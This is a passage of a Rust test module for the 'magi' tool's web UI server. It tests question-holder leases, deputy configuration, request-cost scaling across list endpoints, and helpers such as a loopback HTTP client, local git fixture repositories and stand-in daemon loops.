7963    fn holder_reads_the_lease_not_the_record() {
7964        let mut q = Question::new(
7965            "run".to_owned(),
7966            "implement".to_owned(),
7967            "impl-A".to_owned(),
7968            "which?".to_owned(),
7969            String::new(),
7970            Vec::new(),
7971        );
7972        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7973        q.cwd = Some("/tmp".to_owned());
7974        assert_eq!(holder_of(&q, None), Some("nobody"));
7975        let beat = |kind, ago: i64| ask::Lease {
7976            kind,
7977            pid: 1,
7978            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7979                .unwrap(),
7980        };
7981        let fresh = beat(ask::WaiterKind::Asker, 1);
7982        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7983        let daemon = beat(ask::WaiterKind::Daemon, 1);
7984        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7985        let stale = beat(ask::WaiterKind::Asker, 3600);
7986        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7987
7988        // A conductor question says "deputy" only while one is attached and
7989        // alive, and "nobody" - never silence - when nothing ever listened.
7990        let mut c = Question::new(
7991            "task".to_owned(),
7992            crate::conduct::NODE.to_owned(),
7993            "conduct".to_owned(),
7994            "which?".to_owned(),
7995            String::new(),
7996            Vec::new(),
7997        );
7998        assert_eq!(holder_of(&c, None), Some("nobody"));
7999        c.cwd = Some("/tmp".to_owned());
8000        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8001        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8002        let deputy = beat(ask::WaiterKind::Deputy, 1);
8003        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8004        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8005
8006        // A release-watch question: nobody until a deputy is attached.
8007        let mut r = Question::new(
8008            String::new(),
8009            crate::bump::NOTICE_NODE.to_owned(),
8010            "release-watch".to_owned(),
8011            "stuck?".to_owned(),
8012            String::new(),
8013            vec!["hold".to_owned()],
8014        );
8015        assert_eq!(holder_of(&r, None), Some("nobody"));
8016        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8017        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8018        // A choice-less bump notice is nobody's question at all.
8019        r.deputy = None;
8020        r.seat = "bump".to_owned();
8021        assert_eq!(holder_of(&r, None), None);
8022
8023        // A merge approval is the same: nobody until a deputy is attached
8024        // and alive, never a silent "no holder".
8025        let mut m = Question::new(
8026            "run".to_owned(),
8027            crate::land::APPROVAL_NODE.to_owned(),
8028            "land".to_owned(),
8029            "merge?".to_owned(),
8030            String::new(),
8031            Vec::new(),
8032        );
8033        assert_eq!(holder_of(&m, None), Some("nobody"));
8034        assert_eq!(
8035            holder_of(&m, Some(&fresh)),
8036            Some("nobody"),
8037            "a lease with no deputy is not a listener"
8038        );
8039        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8040        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8041        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8042        assert_eq!(holder_of(&m, None), Some("nobody"));
8043    }
8044
8045    fn stub_config() -> Config {
8046        // An explicit roster, so the result never depends on which agent CLIs
8047        // this machine has installed.
8048        Config {
8049            agents: vec![crate::config::AgentSpec {
8050                id: "stub".to_owned(),
8051                kind: AgentKind::Command,
8052                model: None,
8053                command: vec!["true".to_owned()],
8054                extra_args: Vec::new(),
8055                env: Default::default(),
8056                prompt_delivery: None,
8057            }],
8058            ..Config::default()
8059        }
8060    }
8061
8062    fn plain_question(seat: &str) -> Question {
8063        Question::new(
8064            String::new(),
8065            "n".to_owned(),
8066            seat.to_owned(),
8067            "s".to_owned(),
8068            String::new(),
8069            Vec::new(),
8070        )
8071    }
8072
8073    #[test]
8074    fn deputies_enabled_follows_the_config() {
8075        let on = stub_config();
8076        assert!(crate::deputy::can_start(Some(&on), ""));
8077        assert!(crate::deputy::can_start(Some(&on), "stub"));
8078        let mut off = on.clone();
8079        off.daemon.max_deputies = 0;
8080        assert!(!crate::deputy::can_start(Some(&off), ""));
8081        let mut empty = on;
8082        empty.agents.clear();
8083        assert!(!crate::deputy::can_start(Some(&empty), ""));
8084        assert!(!crate::deputy::can_start(None, ""));
8085    }
8086
8087    #[test]
8088    fn question_views_load_the_config_once() {
8089        let dir = TempDir::new().unwrap();
8090        let store = ask::Questions::at(dir.path().to_path_buf());
8091        let mut with_deputy = plain_question("b");
8092        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8093        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8094
8095        let calls = std::cell::Cell::new(0usize);
8096        let views = question_views(qs.clone(), &store, || {
8097            calls.set(calls.get() + 1);
8098            Some(stub_config())
8099        });
8100        assert_eq!(calls.get(), 1);
8101        assert_eq!(views.len(), 3);
8102        for (v, q) in views.iter().zip(&qs) {
8103            assert_eq!(
8104                v.deputies_enabled,
8105                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8106            );
8107        }
8108
8109        let views = question_views(qs, &store, || None);
8110        assert!(views.iter().all(|v| !v.deputies_enabled));
8111
8112        let calls = std::cell::Cell::new(0usize);
8113        let views = question_views(Vec::new(), &store, || {
8114            calls.set(calls.get() + 1);
8115            None
8116        });
8117        assert!(views.is_empty());
8118        assert_eq!(calls.get(), 0);
8119    }
8120
8121    use pretty_assertions::assert_eq;
8122    use serde_json::Value;
8123    use tempfile::TempDir;
8124    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8125
8126    use super::*;
8127    use crate::config::Config;
8128    use crate::queue::Source;
8129
8130    /// How many 10ms steps a settle loop takes before it calls a stall a
8131    /// stall - thirty seconds.
8132    ///
8133    /// These loops wait on real `sh` subprocesses, and the machine that runs
8134    /// the gate runs several suites at once, so a two-second budget was not
8135    /// waiting for the reply, it was racing the scheduler: two of these
8136    /// tests failed under that load with the turn simply not landed yet.
8137    /// This is a hang guard, not a latency assertion - every loop breaks the
8138    /// moment its condition holds, so a generous cap costs an idle machine
8139    /// nothing and still fails a genuine hang instead of hanging the suite.
8140    const SETTLE_STEPS: usize = 3_000;
8141
8142    /// A home with a queue and a runs directory, and a router serving it on
8143    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
8144    /// dependency, not ours - so the tests drive a real socket, which has the
8145    /// side benefit of asserting the status line and content types the phone
8146    /// actually receives.
8147    struct Fixture {
8148        home: TempDir,
8149        addr: SocketAddr,
8150    }
8151
8152    impl Fixture {
8153        async fn start() -> Self {
8154            Self::with_loop(launch_idle).await
8155        }
8156
8157        /// A fixture whose loop is `launch`.
8158        async fn with_loop(launch: Launch) -> Self {
8159            let home = TempDir::new().expect("temp home");
8160            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8161            Self { home, addr }
8162        }
8163
8164        /// A fixture whose `ui.repo` is a real directory rather than the
8165        /// usual placeholder - for the routes that read config off it
8166        /// (`GET /api/repos`) and would otherwise have nothing to discover.
8167        async fn with_repo(repo: PathBuf) -> Self {
8168            let home = TempDir::new().expect("temp home");
8169            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8170            Self { home, addr }
8171        }
8172
8173        /// As [`Fixture::with_repo`], with the machine-config file the
8174        /// settings screen reads and writes.
8175        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8176            let home = TempDir::new().expect("temp home");
8177            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8178            Self { home, addr }
8179        }
8180
8181        async fn serve(
8182            home: &FsPath,
8183            repo: PathBuf,
8184            launch: Launch,
8185            machine: Option<PathBuf>,
8186        ) -> SocketAddr {
8187            let queue = Queue::at(home.join("queue"));
8188            let runs = home.join("runs");
8189            std::fs::create_dir_all(&runs).expect("runs dir");
8190            let worktrees = home.join("wt").join("magi");
8191            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8192            let ui = Ui::new(
8193                queue,
8194                Questions::at(home.join("questions")),
8195                Talks::at(home.join("talks")),
8196                runs,
8197                home.to_path_buf(),
8198                repo,
8199            )
8200            .with_worktrees_root(worktrees)
8201            .with_machine_config(machine)
8202            .with_launch(launch);
8203            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8204                .await
8205                .expect("bind loopback");
8206            let addr = listener.local_addr().expect("local addr");
8207            tokio::spawn(async move {
8208                let router = ui
8209                    .router()
8210                    .layer(axum::middleware::from_fn(request_cost::observe));
8211                let _ = axum::serve(listener, router).await;
8212            });
8213            addr
8214        }
8215
8216        fn queue(&self) -> Queue {
8217            Queue::at(self.home.path().join("queue"))
8218        }
8219
8220        fn questions(&self) -> Questions {
8221            Questions::at(self.home.path().join("questions"))
8222        }
8223
8224        fn talks(&self) -> Talks {
8225            Talks::at(self.home.path().join("talks"))
8226        }
8227
8228        fn runs(&self) -> PathBuf {
8229            self.home.path().join("runs")
8230        }
8231
8232        async fn get(&self, path: &str) -> Res {
8233            request(self.addr, "GET", path, None).await
8234        }
8235
8236        /// The status and headers without the body, which is how the front end
8237        /// preflights a panel: a sandboxed frame is opaque to the parent
8238        /// document, so the only way to tell "no panel" from "a panel that
8239        /// rendered blank" is to ask before mounting.
8240        async fn head(&self, path: &str) -> Res {
8241            request(self.addr, "HEAD", path, None).await
8242        }
8243
8244        async fn post(&self, path: &str, body: Option<&str>) -> Res {
8245            request(self.addr, "POST", path, body).await
8246        }
8247
8248        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8249            request_with(self.addr, "GET", path, None, extra).await
8250        }
8251
8252        async fn delete(&self, path: &str) -> Res {
8253            request(self.addr, "DELETE", path, None).await
8254        }
8255
8256        async fn put(&self, path: &str, body: &str) -> Res {
8257            request(self.addr, "PUT", path, Some(body)).await
8258        }
8259
8260        /// `POST` a raw body with its own headers - see [`request_bytes`].
8261        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8262            request_bytes(self.addr, path, headers, body).await
8263        }
8264    }
8265
8266    /// Real tracking refs exercise the successful discovery path (including
8267    /// extraction), rather than counting cheap failures on a placeholder repo.
8268    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8269        let tmp = TempDir::new().unwrap();
8270        let mut repos = Vec::new();
8271        for name in ["one", "two"] {
8272            let repo = tmp.path().join(name);
8273            let origin = tmp.path().join(format!("{name}.git"));
8274            std::fs::create_dir_all(&repo).unwrap();
8275            crate::git::git(&repo, &["init", "-b", "main"])
8276                .await
8277                .unwrap();
8278            std::fs::write(
8279                repo.join("magi.toml"),
8280                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8281            )
8282            .unwrap();
8283            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8284            crate::git::git(
8285                &repo,
8286                &[
8287                    "-c",
8288                    "user.name=fixture",
8289                    "-c",
8290                    "user.email=fixture@example.invalid",
8291                    "commit",
8292                    "-m",
8293                    "fixture",
8294                ],
8295            )
8296            .await
8297            .unwrap();
8298            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8299                .await
8300                .unwrap();
8301            crate::git::git(
8302                &repo,
8303                &["remote", "add", "origin", origin.to_str().unwrap()],
8304            )
8305            .await
8306            .unwrap();
8307            crate::git::git(&repo, &["push", "origin", "main"])
8308                .await
8309                .unwrap();
8310            crate::git::git(
8311                &repo,
8312                &[
8313                    "symbolic-ref",
8314                    "refs/remotes/origin/HEAD",
8315                    "refs/remotes/origin/main",
8316                ],
8317            )
8318            .await
8319            .unwrap();
8320            let (cfg, _) = Config::discover(&repo, None).unwrap();
8321            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8322            repos.push(repo);
8323        }
8324        let repos: [PathBuf; 2] = repos.try_into().unwrap();
8325        (tmp, repos)
8326    }
8327
8328    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8329        let (tmp, repos) = performance_repositories().await;
8330        let machine = tmp.path().join("machine.toml");
8331        std::fs::write(&machine, "").unwrap();
8332        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8333        (tmp, repos, fx)
8334    }
8335
8336    fn seed_performance(
8337        fx: &Fixture,
8338        repos: &[PathBuf; 2],
8339        questions: usize,
8340        runs: usize,
8341        items: usize,
8342    ) {
8343        // Saving states directly never starts a run or changes MAGI_HOME.
8344        for i in fx.questions().list().len()..questions {
8345            let mut question = Question::new(
8346                "20261001-000000-0000".into(),
8347                "implement".into(),
8348                "impl-A".into(),
8349                format!("question {i}"),
8350                "context".into(),
8351                vec!["yes".into(), "no".into()],
8352            );
8353            question.id = format!("20261003-000000-{i:04x}");
8354            fx.questions().put(&mut question).unwrap();
8355        }
8356        for i in run_ids(&fx.runs()).len()..runs {
8357            write_run_repo(
8358                &fx.runs(),
8359                &format!("20261001-000000-{i:04x}"),
8360                RunStatus::Ready,
8361                repos[i % 2].to_str().unwrap(),
8362            );
8363        }
8364        for i in fx.talks().list().len()..items {
8365            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8366            let mut talk = fx.talks().get(&id).unwrap();
8367            talk.repo = repos[i % 2].clone();
8368            fx.talks().put(&mut talk).unwrap();
8369            let mut task = crate::queue::Task::new(
8370                format!("task {i}"),
8371                "instruction".into(),
8372                repos[i % 2].clone(),
8373                crate::queue::Source::Agent {
8374                    run: id,
8375                    node: crate::queue::CHAT_NODE.into(),
8376                },
8377            );
8378            task.id = format!("20261004-000000-{i:04x}");
8379            fx.queue().put(&mut task).unwrap();
8380            // Notices has a production retention cap; seed up to that cap.
8381            if i < crate::notices::CAP {
8382                Notices::at(fx.home.path().join("notifications"))
8383                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
8384                    .unwrap();
8385            }
8386        }
8387        assert_eq!(fx.questions().list().len(), questions);
8388        assert_eq!(run_ids(&fx.runs()).len(), runs);
8389        assert_eq!(fx.talks().list().len(), items);
8390        assert_eq!(fx.queue().list().len(), items);
8391        assert_eq!(
8392            Notices::at(fx.home.path().join("notifications"))
8393                .list()
8394                .len(),
8395            items.min(crate::notices::CAP)
8396        );
8397    }
8398
8399    fn request_counts(res: &Res) -> (usize, usize) {
8400        assert_eq!(res.status, 200, "{}", res.body);
8401        (
8402            res.header("x-test-discoveries").unwrap().parse().unwrap(),
8403            res.header("x-test-git").unwrap().parse().unwrap(),
8404        )
8405    }
8406
8407    #[tokio::test]
8408    async fn list_request_cost_is_independent_of_record_count() {
8409        let (_tmp, repos, fx) = performance_fixture().await;
8410        let mut previous = None;
8411        for n in [4, 60] {
8412            seed_performance(&fx, &repos, n, n, n);
8413            let mut costs = Vec::new();
8414            for (path, discoveries) in [
8415                ("/api/questions", 1),
8416                ("/api/talks", 2),
8417                ("/api/health", 1),
8418                ("/api/stats", 1),
8419            ] {
8420                // Equal cold extraction caches at both scales; this also
8421                // bounds first-request cost instead of only warmed requests.
8422                for repo in &repos {
8423                    let cache = repo.join(".git/magi/config");
8424                    if cache.exists() {
8425                        std::fs::remove_dir_all(cache).unwrap();
8426                    }
8427                }
8428                let cost = request_counts(&fx.get(path).await);
8429                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8430                assert_eq!(cost.0, discoveries, "{path}, N={n}");
8431                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8432                costs.push(cost);
8433            }
8434            if let Some(previous) = previous {
8435                assert_eq!(costs, previous);
8436            }
8437            previous = Some(costs);
8438        }
8439        // runs reads shared row inputs and probes process liveness; queue
8440        // builds one blocker inventory; notifications reads its own store.
8441        // None discovers configuration or spawns git per item.
8442    }
8443
8444    /// The same handler path without transport, so the deterministic cause
8445    /// can also be checked in environments that prohibit binding sockets.
8446    #[tokio::test]
8447    async fn list_handler_cost_without_transport() {
8448        let (_tmp, repos) = performance_repositories().await;
8449        let fx = Fixture {
8450            home: TempDir::new().unwrap(),
8451            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8452        };
8453        let ui = Arc::new(
8454            Ui::new(
8455                fx.queue(),
8456                fx.questions(),
8457                fx.talks(),
8458                fx.runs(),
8459                fx.home.path().to_path_buf(),
8460                repos[0].clone(),
8461            )
8462            .with_worktrees_root(fx.home.path().join("wt")),
8463        );
8464        let mut previous = None;
8465        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8466            seed_performance(&fx, &repos, n, runs, items);
8467            let mut costs = Vec::new();
8468            for endpoint in ["questions", "talks", "health", "stats"] {
8469                for repo in &repos {
8470                    let cache = repo.join(".git/magi/config");
8471                    if cache.exists() {
8472                        std::fs::remove_dir_all(cache).unwrap();
8473                    }
8474                }
8475                let (_, cost) = request_cost::measure(async {
8476                    match endpoint {
8477                        "questions" => {
8478                            let _ = questions_list(State(ui.clone())).await.unwrap();
8479                        }
8480                        "talks" => {
8481                            let _ = talks_list(
8482                                State(ui.clone()),
8483                                Query(ListQuery {
8484                                    limit: None,
8485                                    ids: None,
8486                                }),
8487                            )
8488                            .await
8489                            .unwrap();
8490                        }
8491                        "health" => {
8492                            let _ = health(State(ui.clone())).await.unwrap();
8493                        }
8494                        _ => {
8495                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8496                                .await
8497                                .unwrap();
8498                        }
8499                    }
8500                })
8501                .await;
8502                eprintln!("{endpoint} handler N={n}: {cost:?}");
8503                assert_eq!(
8504                    cost.0,
8505                    if endpoint == "talks" { 2 } else { 1 },
8506                    "{endpoint}"
8507                );
8508                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8509                costs.push(cost);
8510            }
8511            if let Some(previous) = previous {
8512                assert_eq!(costs, previous);
8513            }
8514            previous = Some(costs);
8515        }
8516    }
8517
8518    #[tokio::test]
8519    async fn list_request_cost_scopes_do_not_mix() {
8520        let (_tmp, repos, fx) = performance_fixture().await;
8521        seed_performance(&fx, &repos, 10, 0, 10);
8522        let (questions, talks, notices) = tokio::join!(
8523            fx.get("/api/questions"),
8524            fx.get("/api/talks"),
8525            fx.get("/api/notifications")
8526        );
8527        assert_eq!(request_counts(&questions).0, 1);
8528        assert_eq!(request_counts(&talks).0, 2);
8529        assert_eq!(request_counts(&notices), (0, 0));
8530    }
8531
8532    #[tokio::test]
8533    async fn list_endpoints_large_home_ceiling() {
8534        let (_tmp, repos, fx) = performance_fixture().await;
8535        seed_performance(&fx, &repos, 200, 300, 400);
8536        let mut failures = Vec::new();
8537        // app.js boot/change loads plus the initial dashboard, settings and
8538        // repo picker. SSE is a persistent stream, not a bounded GET.
8539        for path in [
8540            "/",
8541            "/app.js",
8542            "/app.css",
8543            "/api/questions",
8544            "/api/runs?limit=300",
8545            "/api/queue",
8546            "/api/talks",
8547            "/api/notifications",
8548            "/api/health",
8549            "/api/stats",
8550            "/api/loop",
8551            "/api/settings",
8552            "/api/repos",
8553        ] {
8554            let start = std::time::Instant::now();
8555            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8556            let elapsed = start.elapsed();
8557            eprintln!("{path}: {elapsed:?}");
8558            match result {
8559                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8560                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8561                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8562            }
8563        }
8564        assert!(failures.is_empty(), "{}", failures.join("\n"));
8565    }
8566
8567    struct Res {
8568        status: u16,
8569        headers: String,
8570        /// The header block with its original casing, for the assertions that
8571        /// compare a header *value* rather than looking for a name. Lowercasing
8572        /// a CSP would hide a directive spelled with a capital letter, and the
8573        /// whole point of that test is that the string is exactly right.
8574        head: String,
8575        body: String,
8576        /// The body before any UTF-8 handling, for the routes that serve
8577        /// something other than text. A panel asset is a PNG as often as not,
8578        /// and `from_utf8_lossy` would silently replace half of it.
8579        bytes: Vec<u8>,
8580    }
8581
8582    impl Res {
8583        fn json(&self) -> Value {
8584            serde_json::from_str(&self.body)
8585                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8586        }
8587
8588        /// One header's value verbatim, or `None` when it was not sent.
8589        fn header(&self, name: &str) -> Option<&str> {
8590            self.head.lines().find_map(|line| {
8591                let (key, value) = line.split_once(':')?;
8592                key.trim()
8593                    .eq_ignore_ascii_case(name)
8594                    .then(|| value.trim_start().trim_end_matches('\r'))
8595            })
8596        }
8597    }
8598
8599    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
8600    /// be read to end-of-stream without parsing framing.
8601    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8602        request_with(addr, method, path, body, &[]).await
8603    }
8604
8605    /// As [`request`], with extra request headers - conditional GETs need
8606    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
8607    /// worse than one that sets none.
8608    async fn request_with(
8609        addr: SocketAddr,
8610        method: &str,
8611        path: &str,
8612        body: Option<&str>,
8613        extra: &[(&str, &str)],
8614    ) -> Res {
8615        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8616        for (name, value) in extra {
8617            head.push_str(&format!("{name}: {value}\r\n"));
8618        }
8619        if let Some(body) = body {
8620            head.push_str("Content-Type: application/json\r\n");
8621            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8622        }
8623        head.push_str("\r\n");
8624        if let Some(body) = body {
8625            head.push_str(body);
8626        }
8627        let mut socket = tokio::net::TcpStream::connect(addr)
8628            .await
8629            .expect("connect to the test server");
8630        socket
8631            .write_all(head.as_bytes())
8632            .await
8633            .expect("write request");
8634        let mut raw = Vec::new();
8635        socket.read_to_end(&mut raw).await.expect("read response");
8636        // Split on the raw bytes rather than on a lossy string, so a binary
8637        // body survives to be compared byte for byte.
8638        let split = raw
8639            .windows(4)
8640            .position(|w| w == b"\r\n\r\n")
8641            .expect("a header block");
8642        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8643        let bytes = raw[split + 4..].to_vec();
8644        let status = head
8645            .lines()
8646            .next()
8647            .and_then(|line| line.split_whitespace().nth(1))
8648            .and_then(|code| code.parse().ok())
8649            .expect("a status line");
8650        Res {
8651            status,
8652            headers: head.to_lowercase(),
8653            head,
8654            body: String::from_utf8_lossy(&bytes).into_owned(),
8655            bytes,
8656        }
8657    }
8658
8659    /// A `POST` carrying a raw binary body and its own headers, for the
8660    /// attachment upload route - `request_with` only ever sends
8661    /// `Content-Type: application/json`, which is wrong for an image and
8662    /// would corrupt anything not valid UTF-8 by round-tripping it through
8663    /// `&str` first.
8664    async fn request_bytes(
8665        addr: SocketAddr,
8666        path: &str,
8667        headers: &[(&str, &str)],
8668        body: &[u8],
8669    ) -> Res {
8670        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8671        for (name, value) in headers {
8672            head.push_str(&format!("{name}: {value}\r\n"));
8673        }
8674        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8675        let mut socket = tokio::net::TcpStream::connect(addr)
8676            .await
8677            .expect("connect to the test server");
8678        socket
8679            .write_all(head.as_bytes())
8680            .await
8681            .expect("write request head");
8682        socket.write_all(body).await.expect("write request body");
8683        let mut raw = Vec::new();
8684        socket.read_to_end(&mut raw).await.expect("read response");
8685        let split = raw
8686            .windows(4)
8687            .position(|w| w == b"\r\n\r\n")
8688            .expect("a header block");
8689        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8690        let bytes = raw[split + 4..].to_vec();
8691        let status = head
8692            .lines()
8693            .next()
8694            .and_then(|line| line.split_whitespace().nth(1))
8695            .and_then(|code| code.parse().ok())
8696            .expect("a status line");
8697        Res {
8698            status,
8699            headers: head.to_lowercase(),
8700            head,
8701            body: String::from_utf8_lossy(&bytes).into_owned(),
8702            bytes,
8703        }
8704    }
8705
8706    /// A run on disk, without touching the process-global magi home.
8707    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8708        let mut state = RunState::new(
8709            PathBuf::from("/repo/magi"),
8710            "main".to_owned(),
8711            "0123456789abcdef".to_owned(),
8712            "Add a web UI\n\nMobile first.".to_owned(),
8713            Config::default(),
8714        );
8715        state.id = id.to_owned();
8716        state.status = status;
8717        let dir = runs.join(id);
8718        std::fs::create_dir_all(&dir).expect("run dir");
8719        std::fs::write(
8720            dir.join("run.json"),
8721            serde_json::to_string_pretty(&state).expect("serialize run"),
8722        )
8723        .expect("write run.json");
8724    }
8725
8726    /// Same as [`write_run`], but against a named repository rather than the
8727    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
8728    /// spread across more than one.
8729    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8730        let mut state = RunState::new(
8731            PathBuf::from(repo),
8732            "main".to_owned(),
8733            "0123456789abcdef".to_owned(),
8734            "task".to_owned(),
8735            Config::default(),
8736        );
8737        state.id = id.to_owned();
8738        state.status = status;
8739        let dir = runs.join(id);
8740        std::fs::create_dir_all(&dir).expect("run dir");
8741        std::fs::write(
8742            dir.join("run.json"),
8743            serde_json::to_string_pretty(&state).expect("serialize run"),
8744        )
8745        .expect("write run.json");
8746    }
8747
8748    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8749        let body = serde_json::json!({
8750            "schema": 1,
8751            "pid": 4242,
8752            "started_at": Timestamp::now().to_string(),
8753            "updated_at": updated_at.to_string(),
8754            "idle": false,
8755            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8756            "completed": 7,
8757            "polls": 143,
8758        });
8759        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8760    }
8761
8762    /// A loop that starts, finds nothing to do, and waits to be told to stop.
8763    ///
8764    /// No test in this file may start the real loop - see [`Ui::launch`] for
8765    /// why - so this stands in for the only thing the routes need a loop to
8766    /// do: keep running until `Stop` is set, then return. A real
8767    /// `serve_until` here would resolve its queue and its status file through
8768    /// the process-global magi home, claim whatever it found in the
8769    /// operator's live backlog, overwrite the status file of the `magi serve`
8770    /// that owns it, and spend real agent quota on a real competition.
8771    fn launch_idle(
8772        _opts: daemon::Opts,
8773        stop: daemon::Stop,
8774    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8775        Box::pin(async move {
8776            while !stop.stopped() {
8777                tokio::time::sleep(Duration::from_millis(2)).await;
8778            }
8779            Ok(())
8780        })
8781    }
8782
8783    /// A loop that fails on the way up, the way one whose home has gone
8784    /// read-only does.
8785    fn launch_broken(
8786        _opts: daemon::Opts,
8787        _stop: daemon::Stop,
8788    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8789        // The stand-in dies instantly, so a restarted one can record its own
8790        // failure before the start's response is read. The second attempt
8791        // therefore fails with a different message, to tell a stale error
8792        // from a fresh one.
8793        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8794        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8795        Box::pin(async move {
8796            Err(anyhow::anyhow!(if first {
8797                "publish the daemon status file: read-only file system"
8798            } else {
8799                "the restarted stand-in failed as well"
8800            }))
8801        })
8802    }
8803
8804    /// The address the parking loop knocks on, and what it heard there.
8805    ///
8806    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
8807    /// capture a fixture's address; this is how it is handed one. Only
8808    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
8809    /// these, so nothing else in this binary can race them.
8810    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8811    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8812
8813    /// A loop that, once it is asked to stop, checks the deck still answers
8814    /// before it goes.
8815    ///
8816    /// It stands in for a run mid-node: `finish_loop` waits for this future,
8817    /// so the request it makes is strictly inside the park window - no sleep
8818    /// and no polling needed to be sure of that.
8819    fn launch_knocking_on_the_way_out(
8820        _opts: daemon::Opts,
8821        stop: daemon::Stop,
8822    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8823        Box::pin(async move {
8824            while !stop.stopped() {
8825                tokio::time::sleep(Duration::from_millis(2)).await;
8826            }
8827            let addr = PARK_KNOCK
8828                .lock()
8829                .expect("park knock")
8830                .expect("the test set an address");
8831            let heard = request(addr, "GET", "/api/health", None).await.status;
8832            *PARK_HEARD.lock().expect("park heard") = Some(heard);
8833            Ok(())
8834        })
8835    }
8836
8837    /// The loop view once `want` accepts it.
8838    ///
8839    /// Polled rather than asserted straight after the POST because stopping
8840    /// is deliberately not instant - that is the contract - and rather than
8841    /// slept through because a fixed wait is either flaky or slow.
8842    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
8843    /// finite, so a genuine hang fails the test instead of hanging the
8844    /// suite.
8845    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8846        for _ in 0..SETTLE_STEPS {
8847            let view = fx.get("/api/loop").await.json();
8848            if want(&view) {
8849                return view;
8850            }
8851            tokio::time::sleep(Duration::from_millis(10)).await;
8852        }
8853        panic!(
8854            "the loop never settled: {}",
8855            fx.get("/api/loop").await.json()
8856        );
8857    }
8858
8859    /// File an open question directly in the store the server reads.
8860    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8861        let store = fx.questions();
8862        let mut q = Question::new(
8863            "20260902-000000-beef".to_owned(),
8864            "implement".to_owned(),
8865            "impl-A".to_owned(),
8866            summary.to_owned(),
8867            "because it matters".to_owned(),
8868            choices.iter().map(|c| (*c).to_owned()).collect(),
8869        );
8870        store.put(&mut q).expect("put question");
8871        q.id
8872    }
8873
8874    /// A question with a panel the server can serve, plus the named assets.
8875    ///
